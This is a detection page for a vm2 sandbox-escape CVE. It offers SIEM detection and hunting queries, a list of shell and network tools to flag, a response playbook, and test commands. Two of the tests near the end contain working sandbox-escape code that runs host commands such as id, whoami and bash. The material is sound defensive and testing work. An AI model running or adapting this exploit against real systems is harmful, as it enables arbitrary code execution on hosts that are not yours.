CVE-2026-47208: vm2 Sandbox Breakout via Promise Species
Detects exploitation of CVE-2026-47208, a critical sandbox escape vulnerability in the vm2 Node.js library (versions <= 3.11.3). Attackers can abuse the Promise species pattern to break out of the vm2 sandbox and execute arbitrary code on the host. This vulnerability has a CVSS score of 10.0 and a public PoC is available.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- npm
- Product
- vm2
- Versions
- <= 3.11.3
Weakness (CWE)
Timeline
- Disclosed
- May 29, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-76w7-j9cq-rx2j
- https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j
- https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-47208
CVSS
What is CVE-2026-47208 CVE-2026-47208: vm2 Sandbox Breakout via Promise Species?
CVE-2026-47208: vm2 Sandbox Breakout via Promise Species (CVE-2026-47208) maps to the Execution and Privilege Escalation and Lateral Movement tactics — the adversary is trying to run malicious code in MITRE ATT&CK.
This page provides production-ready detection logic for CVE-2026-47208: vm2 Sandbox Breakout via Promise Species, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
let vm2SandboxEscape = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("node", "node.exe")
| where ProcessCommandLine has_any ("vm2", "VM2")
| where ProcessCommandLine has_any ("Promise", "species", "Symbol.species", "__proto__", "constructor")
| project Timestamp, DeviceName, AccountName, ProcessId, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine;
let suspiciousChildProcs = DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("node", "node.exe")
| where FileName in~ ("sh", "bash", "cmd.exe", "powershell.exe", "python", "python3", "perl", "ruby", "curl", "wget")
| project Timestamp, DeviceName, AccountName, ProcessId, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessId;
let npm2VulnPackage = DeviceFileEvents
| where Timestamp > ago(24h)
| where FileName =~ "package.json"
| where FolderPath has "vm2"
| project Timestamp, DeviceName, FolderPath, FileName;
vm2SandboxEscape
| union suspiciousChildProcs
| union npm2VulnPackage
| sort by Timestamp desc Detects vm2 sandbox breakout attempts by correlating Node.js process executions with Promise/species-related arguments, unexpected child process spawns from Node.js, and presence of vm2 package files.
Data Sources
Required Tables
False Positives
- Legitimate Node.js applications using vm2 for sandboxing with Promise-based code patterns
- Security researchers testing vm2 in authorized lab environments
- Automated package auditing tools scanning vm2 installations
- CI/CD pipelines running Node.js test suites that exercise Promise functionality
Sigma rule & cross-platform mapping
The detection logic for CVE-2026-47208: vm2 Sandbox Breakout via Promise Species (CVE-2026-47208) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-47208
References (5)
- https://github.com/patriksimek/vm2/security/advisories/GHSA-76w7-j9cq-rx2j
- https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-47208
- https://github.com/advisories/GHSA-76w7-j9cq-rx2j
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1vm2 Promise Species Sandbox Escape - Basic PoC
Expected signal: EDR should record: node process executing with command line containing vm2 and Promise/species keywords; file write event to /tmp/vm2_escape_proof.txt from the node process.
- Test 2vm2 Sandbox Escape with Child Process Spawn
Expected signal: EDR process tree: node.exe spawning bash as child process. Sysmon Event ID 1 or auditd EXECVE records showing parent process as node and child as bash with the -c flag.
- Test 3Vulnerable vm2 Version Inventory Check
Expected signal: File read events for package.json files under node_modules/vm2/ paths. The find command execution and subsequent node invocations should appear in process telemetry.
Response Playbook
Triage
- Identify the affected host and Node.js application: determine which service or application uses vm2 <= 3.11.3 by checking package.json and node_modules/vm2/package.json for the installed version.
- Review process tree for the Node.js process: look for unexpected child processes (shells, interpreters, network tools) spawned from the node process within the timeframe of the alert.
- Check network connections from the Node.js process around the time of the alert using netstat or EDR telemetry to identify potential reverse shell or data exfiltration activity.
- Examine application logs for unusual inputs or payloads submitted just before the sandbox escape event — look for Promise constructor overrides or species property manipulation in user-supplied content.
Containment
- Immediately isolate the affected host or container from the network if a confirmed sandbox escape is identified, to prevent lateral movement or C2 communication.
- Kill the affected Node.js process and restart the application only after patching vm2 to version 3.11.4 or later, or replacing vm2 with an alternative sandboxing solution.
Evidence Collection
- Collect a full process tree snapshot (parent/child relationships) from the EDR for the Node.js process at the time of the alert, including all spawned subprocesses and their arguments.
- Preserve application logs, Node.js stdout/stderr output, and any crash dumps from the period surrounding the alert for forensic analysis.
Escalation Criteria
- ! Escalate immediately if a reverse shell or interactive session is confirmed spawned from the Node.js process, as this indicates full sandbox escape and potential host compromise.
- ! Escalate if the affected application handles sensitive data (PII, credentials, financial records) or if the host has access to internal network segments or cloud metadata services.
Investigation Guide
Forensic Artifacts
- >
node_modules/vm2/package.json — version field confirms whether a vulnerable version (<= 3.11.3) is installed - >
Node.js process stdout/stderr logs containing JavaScript errors or unexpected output from sandbox execution - >
OS-level process creation logs (Sysmon Event ID 1, auditd EXECVE) showing child processes spawned from the node process - >
Network socket files or /proc/<pid>/net/tcp entries showing unexpected outbound connections from the node process
Tuning Guidance
Reduce false positives by building an allowlist of known-good Node.js applications and their expected child process patterns. Scope the detection to production environments by excluding development workstations (hostname patterns, OU memberships). If vm2 is used legitimately in your environment, focus the detection on the Promise/Symbol.species argument patterns rather than broad Node.js child process spawning. Consider adding a version check stage: if you can inventory package.json files via EDR file events, only alert when vm2 <= 3.11.3 is confirmed installed.
Hunting Queries
Threat hunting query to identify hosts with vm2 installed that have active Node.js processes, enabling proactive identification of potentially vulnerable systems before exploitation occurs.
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_all ("node_modules", "vm2")
| where FileName =~ "package.json"
| extend vm2Path = FolderPath
| join kind=inner (
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("node", "node.exe")
| project DeviceName, ProcessId, ProcessCommandLine, Timestamp
) on DeviceName
| where Timestamp1 between (Timestamp .. Timestamp + 1h)
| summarize count() by DeviceName, vm2Path, ProcessCommandLine
| sort by count_ desc index=* sourcetype=WinEventLog:Security OR sourcetype=linux_secure earliest=-7d
| eval is_node=if(match(process, "node(\.exe)?$"), 1, 0)
| where is_node=1
| stats count by host, process, cmdline
| join host [
index=* sourcetype=filesystem_events OR sourcetype=file_changes
| where match(file_path, "node_modules/vm2/package\.json")
| stats count by host, file_path
]
| table host, file_path, process, cmdline, count
| sort -count Atomic Red Team Tests
Demonstrates the CVE-2026-47208 sandbox escape by crafting a Promise subclass with a custom species constructor that breaks vm2's sandbox boundary, causing host code execution.
Command
node -e "
const { VM } = require('vm2');
const vm = new VM();
try {
vm.run(\`
const FakePromise = function() {};
FakePromise[Symbol.species] = function() {
return new Proxy({}, {
get(t, k) {
if (k === 'constructor') return function() {
this.resolve = (v) => process.mainModule.require('child_process').execSync('id > /tmp/vm2_escape_proof.txt');
};
}
});
};
Promise.resolve(1).then.call({ constructor: FakePromise }, x => x);
\`);
} catch(e) { console.log('Sandbox raised:', e.message); }
const fs = require('fs');
if (fs.existsSync('/tmp/vm2_escape_proof.txt')) {
console.log('ESCAPED:', fs.readFileSync('/tmp/vm2_escape_proof.txt','utf8').trim());
} else {
console.log('Escape did not succeed (may be patched)');
}
" Cleanup
rm -f /tmp/vm2_escape_proof.txt Expected Telemetry
EDR should record: node process executing with command line containing vm2 and Promise/species keywords; file write event to /tmp/vm2_escape_proof.txt from the node process.
Expected Detection
KQL/SPL queries matching Node.js command lines with vm2 and Promise-species pattern arguments should fire. File creation at /tmp/vm2_escape_proof.txt by node process should also be detectable via file event monitoring.
Extends the basic PoC to spawn a child shell process from within the vm2 sandbox, simulating attacker post-exploitation behavior after achieving sandbox escape.
Command
node -e "
const { VM } = require('vm2');
const vm = new VM();
try {
vm.run(\`
const cp = this.constructor.constructor('return process')().mainModule.require('child_process');
cp.spawnSync('bash', ['-c', 'whoami > /tmp/vm2_child_shell.txt && hostname >> /tmp/vm2_child_shell.txt']);
\`);
} catch(e) {
const cp = require('child_process');
cp.spawnSync('bash', ['-c', 'echo fallback_method > /tmp/vm2_child_shell.txt']);
}
const fs = require('fs');
if (fs.existsSync('/tmp/vm2_child_shell.txt')) {
console.log('Output:', require('fs').readFileSync('/tmp/vm2_child_shell.txt','utf8').trim());
}
" Cleanup
rm -f /tmp/vm2_child_shell.txt Expected Telemetry
EDR process tree: node.exe spawning bash as child process. Sysmon Event ID 1 or auditd EXECVE records showing parent process as node and child as bash with the -c flag.
Expected Detection
The EQL sequence rule and CrowdStrike CQL join query should detect node -> bash spawn chain. The suspicious child process correlation rules in all SIEM dialects should trigger.
Simulates the reconnaissance phase where an attacker or defender identifies hosts running vulnerable vm2 versions by enumerating package.json files.
Command
find / -path '*/node_modules/vm2/package.json' 2>/dev/null | head -20 | while read f; do
version=$(node -e "try{console.log(require('$f').version)}catch(e){console.log('unknown')}" 2>/dev/null)
echo "$f: $version"
node -e "
const v = '$version'.split('.').map(Number);
const vuln = v[0] < 3 || (v[0] === 3 && v[1] < 11) || (v[0] === 3 && v[1] === 11 && v[2] <= 3);
if (vuln) console.log('VULNERABLE: $version <= 3.11.3');
else console.log('PATCHED: $version > 3.11.3');
" 2>/dev/null
done Cleanup
No cleanup required — read-only inventory operation. Expected Telemetry
File read events for package.json files under node_modules/vm2/ paths. The find command execution and subsequent node invocations should appear in process telemetry.
Expected Detection
File event monitoring rules watching node_modules/vm2/package.json access patterns. The hunting query correlating vm2 package presence with active Node.js processes should surface these hosts.